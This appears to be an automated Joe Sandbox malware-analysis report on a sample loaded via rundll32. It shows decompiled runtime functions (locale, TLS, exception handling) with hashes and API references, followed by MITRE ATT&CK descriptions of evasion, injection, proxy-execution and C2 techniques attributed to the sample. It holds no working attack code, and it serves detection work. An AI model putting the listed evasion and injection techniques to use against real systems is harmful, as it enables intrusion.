Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 1ad71dcaa87e99a04994cc724b5a62664ca1868383eb0f0b84c0c5b9162ce53c
Instruction ID: dde228d91e4253c03c94df8daf444bfee06710823307da91abb5af5a4ea15c85
Opcode Fuzzy Hash: 1ad71dcaa87e99a04994cc724b5a62664ca1868383eb0f0b84c0c5b9162ce53c
Instruction Fuzzy Hash: 0C41E8717016C106F39866A35B91B7B198ABB887D8F10543FEE0A67F52DFBCC8825345

Uniqueness

Uniqueness Score: -1.00%

Function 0043FDE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0043FDE0(void* __ecx, char* __rax, intOrPtr* __rcx, long long __rdx, void* __r9, void* __r11) {
				void* _t40;
				signed short _t41;
				signed int _t42;
				signed int _t67;
				char* _t86;
				long long _t87;
				intOrPtr _t88;
				void* _t108;
				char* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t119;
				intOrPtr* _t120;
				intOrPtr _t121;

				_t119 = __r11;
				_t86 = __rax;
				_t111 = _t112 + 0x80;
				_t120 = __rcx;
				asm("xorps xmm0, xmm0");
				asm("movaps [ebp-0x60], xmm0");
				asm("movaps [ebp-0x30], xmm0");
				asm("movaps [ebp-0x40], xmm0");
				asm("movaps [ebp-0x50], xmm0");
				 *((intOrPtr*)(_t111 - 0x60)) = 0x656e6f6e;
				 *((intOrPtr*)(_t111 + 0xc)) = 0x303030;
				E00441F00(__rax, __rdx);
				_t67 = 0;
				r13d = 1;
				_t4 = _t111 - 0x60; // -95
				_t121 = _t4;
				_t5 = _t111 + 0xc; // 0xd
				_t88 = _t5;
				r15d = 1;
				 *((long long*)(_t111 + 0x10)) = __rdx;
				asm("o16 nop [cs:eax+eax]");
				while(1) {
					r9d = 0x40;
					GetLocaleInfoA(??, ??, ??, ??);
					r9d = 4;
					_t107 =  *((intOrPtr*)(_t111 + 0x10));
					GetLocaleInfoA(??, ??, ??, ??);
					E00441F00(_t86, _t121);
					E00441F00(_t86, _t88);
					_t105 = _t121;
					E00436FB0( *((intOrPtr*)(_t111 + 0x10)), _t121, _t119);
					if(_t86 != 0) {
						break;
					}
					E00437C70(_t86, _t88);
					_t105 = _t88;
					_t40 = E004377E0(_t107, _t88, _t86);
					_t67 =  ==  ? r13d : _t67;
					r15d = r15d + (0 | _t40 != 0x00000000);
					if(r15d > 0x38 || _t67 != 0) {
						if(_t67 != 0) {
							break;
						}
						_t41 = E00437E20(0x5f, _t86, _t107);
						if(_t86 != 0) {
							L7:
							_t10 = _t120 + 4; // 0x100000000
							r15d =  *_t10;
							if(r15d == 0) {
								L0044D340();
								r15d = _t41 & 0x0000ffff;
							} else {
								r15d = r15d & 0x000003ff;
							}
							break;
						}
						_t41 = E00437E20(0x2e, _t86, _t107);
						if(_t86 == 0) {
							L25:
							SetLastError();
							_t42 = 0;
							__eflags = 0;
							L26:
							return _t42;
						}
						goto L7;
					} else {
						continue;
					}
				}
				E00437E20(0x5f, _t86, _t107);
				if(_t86 == 0) {
					r15d = r15d & 0x0000fbff;
					r15d = r15d | 0x00000400;
					__eflags = r15d;
					_t42 = r15d;
					L21:
					E00437E20(0x2e, _t86, _t107);
					_t109 = _t86;
					_t85 = _t109;
					if(_t109 == 0) {
						_t19 = _t111 - 0x17; // -22
						_t110 = _t19;
						r9d = 7;
						GetLocaleInfoA(??, ??, ??, ??);
					} else {
						_t110 = _t109 + 1;
					}
					 *_t120 = E004434F0(_t85, _t110, _t105);
					goto L26;
				}
				 *_t111 = _t120;
				_t87 = _t86 + 1;
				 *((long long*)(_t111 - 0x10)) = _t87;
				E00437E20(0x2e, _t87, _t87);
				if(_t87 != 0) {
					 *_t87 = 0;
				}
				 *((long long*)(_t111 - 8)) = _t87;
				_t13 = _t111 - 0x60; // -95
				_t108 = _t13;
				r13d = 1;
				r12d = 0;
				while(1) {
					r9d = 0x40;
					r14d = GetLocaleInfoA(??, ??, ??, ??);
					E00441F00(_t87, _t108);
					_t105 =  *((intOrPtr*)(_t111 - 0x10));
					E00437D90(_t108,  *((intOrPtr*)(_t111 - 0x10)));
					r12d =  ==  ? 1 : r12d;
					_t42 =  ==  ? (r13d << 0x0000000a | r15d) & 0x0000ffff : 0;
					if(r14d == 0) {
						break;
					}
					r13d = r13d;
					if(r12d == 0) {
						continue;
					}
					break;
				}
				if(r12d == 0) {
					goto L25;
				}
				_t86 =  *((intOrPtr*)(_t111 - 8));
				if(_t86 != 0) {
					 *_t86 = 0x2e;
				}
				_t120 =  *_t111;
				_t107 =  *((intOrPtr*)(_t111 + 0x10));
				goto L21;
			}

APIs

GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0043FE6F
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0043FE88
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0043FF8C
GetLocaleInfoA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 00440024
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,?,000000FF), ref: 0044003C

Strings

none, xrefs: 0043FE14
000, xrefs: 0043FE1B

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID: 000$none
API String ID: 661929714-644053244
Opcode ID: c978b6e092cda9d014aa749c10077d7f3e9211c4be161e2f2d4584f5e2d74e9f
Instruction ID: 7c2df6420e1f654729eabfe0ba8f3ed23eed1d12547d51ee11158b5b82ea6fcb
Opcode Fuzzy Hash: c978b6e092cda9d014aa749c10077d7f3e9211c4be161e2f2d4584f5e2d74e9f
Instruction Fuzzy Hash: FE514762B0069145FB256B6395123BF1652BB89BCCF04643BEF0A5BB85EF7CC9478348

Uniqueness

Uniqueness Score: -1.00%

Function 00440060 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00440060(signed int __ebx, void* __edx, long long __rax, intOrPtr* __rcx, void* __r8) {
				void* _v40;
				signed int _t42;
				signed int _t44;
				signed int _t46;
				signed int _t48;
				signed int _t50;
				signed int _t51;
				void* _t65;
				signed int _t66;
				void* _t72;
				long long _t84;
				intOrPtr* _t97;

				_t84 = __rax;
				_t42 = __ebx;
				_t65 = __edx;
				_t97 = __rcx;
				_t2 = _t97 + 0x38; // 0x4508d9
				_t86 =  *_t2;
				if( *_t2 != 0) {
					E00432710();
				}
				 *((long long*)(_t97 + 0x38)) = 0;
				r14d = _t65;
				_t66 = 1;
				if((r14b & 0x00000004) == 0) {
					L6:
					if((r14b & 0x00000020) != 0) {
						goto L12;
					} else {
						goto L7;
					}
				} else {
					E00432700();
					 *((long long*)(_t97 + 0x18)) = _t84;
					if(_t84 == 0) {
						L30:
						SetLastError();
						goto L31;
					} else {
						_t7 = _t97 + 4; // 0x100000000
						_t51 = E00440610(_t42,  *_t7, _t72, _t84, _t84);
						_t76 = _t51;
						if(_t51 == 0) {
							_t66 = 0;
							__eflags = r14b & 0x00000020;
							if((r14b & 0x00000020) == 0) {
								L7:
								if((r14b & 0x00000010) != 0) {
									goto L15;
								} else {
									goto L8;
								}
							} else {
								L12:
								E00432700();
								 *((long long*)(_t97 + 0x30)) = _t84;
								__eflags = _t84;
								if(_t84 == 0) {
									goto L30;
								} else {
									_t19 = _t97 + 4; // 0x100000000
									_t44 = E00440BD0( *_t19, _t84, _t84) * _t66;
									__eflags = _t44;
									if(__eflags == 0) {
										_t66 = 0;
										__eflags = r14b & 0x00000010;
										if((r14b & 0x00000010) != 0) {
											goto L15;
										} else {
											goto L8;
										}
									} else {
										_t86 = _t97;
										_t66 = E0043FC60(__eflags, _t84, _t97, "LC_TIME") * _t44;
										__eflags = r14b & 0x00000010;
										if((r14b & 0x00000010) == 0) {
											L8:
											if((r14b & 0x00000001) != 0) {
												goto L22;
											} else {
												goto L9;
											}
										} else {
											L15:
											E00432700();
											 *((long long*)(_t97 + 0x20)) = _t84;
											__eflags = _t84;
											if(_t84 == 0) {
												goto L30;
											} else {
												_t23 = _t97 + 4; // 0x100000000
												_t46 = E00441BA0( *_t23, _t66, _t84, _t84) * _t66;
												__eflags = _t46;
												if(__eflags == 0) {
													_t66 = 0;
													__eflags = r14b & 0x00000001;
													if((r14b & 0x00000001) == 0) {
														goto L9;
													} else {
														goto L22;
													}
												} else {
													_t86 = _t97;
													_t66 = E0043FC60(__eflags, _t84, _t97, "LC_NUMERIC") * _t46;
													__eflags = r14b & 0x00000001;
													if((r14b & 0x00000001) != 0) {
														L22:
														E00432700();
														 *((long long*)(_t97 + 0x28)) = _t84;
														__eflags = _t84;
														if(_t84 == 0) {
															goto L30;
														} else {
															_t50 = E00441D90() * _t66;
															__eflags = _t50;
															if(__eflags == 0) {
																_t66 = 0;
																__eflags = r14b & 0x00000002;
																if((r14b & 0x00000002) != 0) {
																	goto L27;
																}
															} else {
																_t86 = _t97;
																_t66 = E0043FC60(__eflags, _t84, _t97, "LC_COLLATE") * _t50;
																__eflags = r14b & 0x00000002;
																if((r14b & 0x00000002) != 0) {
																	goto L27;
																} else {
																}
															}
														}
													} else {
														L9:
														if((r14b & 0x00000002) != 0) {
															L27:
															E00432700();
															 *((long long*)(_t97 + 0x10)) = _t84;
															if(_t84 == 0) {
																goto L30;
															} else {
																_t37 = _t97 + 4; // 0x100000000
																_t48 = E00440420(_t39,  *_t37,  *_t97, _t84, _t86, _t84) * _t66;
																_t83 = _t48;
																if(_t48 == 0) {
																	L31:
																	_t66 = 0;
																	__eflags = 0;
																} else {
																	_t66 = E0043FC60(_t83, _t84, _t97, "LC_CTYPE") * _t48;
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						} else {
							_t86 = _t97;
							_t66 = E0043FC60(_t76, _t84, _t97, "LC_MONETARY") * _t51;
							goto L6;
						}
					}
				}
				return _t66;
			}

APIs

SetLastError.KERNEL32(00000000,000000FF,?,0043F6E2), ref: 00440239

Strings

LC_MONETARY, xrefs: 004400C1
LC_COLLATE, xrefs: 004401D1
LC_NUMERIC, xrefs: 00440172
LC_TIME, xrefs: 0044012D
LC_CTYPE, xrefs: 0044021E

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID: LC_COLLATE$LC_CTYPE$LC_MONETARY$LC_NUMERIC$LC_TIME
API String ID: 1452528299-3565537734
Opcode ID: 2d93d5da73cf9f895600662845317f39d379a65dcd3bba410ccb737099280003
Instruction ID: 9079dba76448049dddc05231fa5a5027756c75fdbc88e4d7ff304db108c218e4
Opcode Fuzzy Hash: 2d93d5da73cf9f895600662845317f39d379a65dcd3bba410ccb737099280003
Instruction Fuzzy Hash: BF41C637300B0547FF29D796A19A72B6696AB88744F04602B8F4A0B7A1DFBDDC52860C

Uniqueness

Uniqueness Score: -1.00%

Function 00446AA0 Relevance: 9.1, APIs: 6, Instructions: 106filethreadwindowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00446B2A
GetCurrentThreadId.KERNEL32 ref: 00446B39
EnumThreadWindows.USER32 ref: 00446B4B
MessageBoxA.USER32 ref: 00446B6B
WriteFile.KERNEL32 ref: 00446C11
WriteFile.KERNEL32 ref: 00446C2E

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: FileThreadWrite$CurrentEnumMessageVersionWindows
String ID:
API String ID: 1311223563-0
Opcode ID: 2f4344e6ce008adfced64d54b4da44b5e36258a1419da975898c4ef1be75b859
Instruction ID: cac750966c8d1cd0edc27b34fa3b3f5b344663d397c38ee59ed2fdeadeaeea38
Opcode Fuzzy Hash: 2f4344e6ce008adfced64d54b4da44b5e36258a1419da975898c4ef1be75b859
Instruction Fuzzy Hash: 1231442170165044FE29AB27ED547AA1241EB47BECF04422BED4D8BB84DF7CC187870A

Uniqueness

Uniqueness Score: -1.00%

Function 0044CEA0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(?,?,?,?,?,00404796), ref: 0044CED5
RaiseException.KERNEL32(?,?,?,?,?,00430D35,00000010,00000000,?,00404344,00000010,?,?,00427082,00000000), ref: 0044CEEB

Strings

unwind.cpp, xrefs: 0044CFF3
false, xrefs: 0044CFEC

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: ExceptionRaise
String ID: false$unwind.cpp
API String ID: 3997070919-1299990386
Opcode ID: e07621a2966c331ec6f54953a315ab7505b2158bc07b6ab20b0dcae9447dd56f
Instruction ID: 944a767c56f151677f4406134c8d28b3834d43a278d56f37c244ae87aa65460d
Opcode Fuzzy Hash: e07621a2966c331ec6f54953a315ab7505b2158bc07b6ab20b0dcae9447dd56f
Instruction Fuzzy Hash: 12012E36B10944DBE714EBA6C4857AC3B72EBC8788F19811AEA0E03760EF39D542C718

Uniqueness

Uniqueness Score: -1.00%

Function 00448C90 Relevance: 5.0, APIs: 4, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00448C90(void* __ecx, void* __rax) {
				void* _v24;
				void* _t2;

				if( *0x4520a4 != 0) {
					_t2 = TlsGetValue();
					if(__rax == 0) {
						if(E00448AE0(_t2, __rax) != 0) {
							GetProcessHeap();
							L0044D378();
							TlsSetValue(??, ??);
						}
						_t2 = TlsGetValue();
					}
				}
				return _t2;
			}

0x00448ca5
0x00448cad
0x00448cb5
0x00448cc0
0x00448cc2
0x00448cd2
0x00448ce0
0x00448ce0
0x00448ceb
0x00448ceb
0x00448cb5
0x00448d0e

APIs

TlsGetValue.KERNEL32 ref: 00448CAD
GetProcessHeap.KERNEL32 ref: 00448CC2
TlsSetValue.KERNEL32 ref: 00448CE0
TlsGetValue.KERNEL32 ref: 00448CEB

Memory Dump Source

Source File: 00000004.00000002.857310691.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.857276741.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857820776.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857867630.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857926539.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.857976908.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858031627.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858080857.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858172853.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.858271034.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rundll32.jbxd

Similarity

API ID: Value$HeapProcess
String ID:
API String ID: 3133723474-0
Opcode ID: a24e8b76a7aca357dbce7db9c021439825b9ea13c7e99c895d77fb02faea2a09
Instruction ID: 1919241c8c5501d5d4210307c4aba6cbe143a150cfda232a205cb48740c72168
Opcode Fuzzy Hash: a24e8b76a7aca357dbce7db9c021439825b9ea13c7e99c895d77fb02faea2a09
Instruction Fuzzy Hash: 07F0F661B12B4086FA24A7A6999132E23506B8A799F08402F9E0F1B7A1ED3CDC51CB1D

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

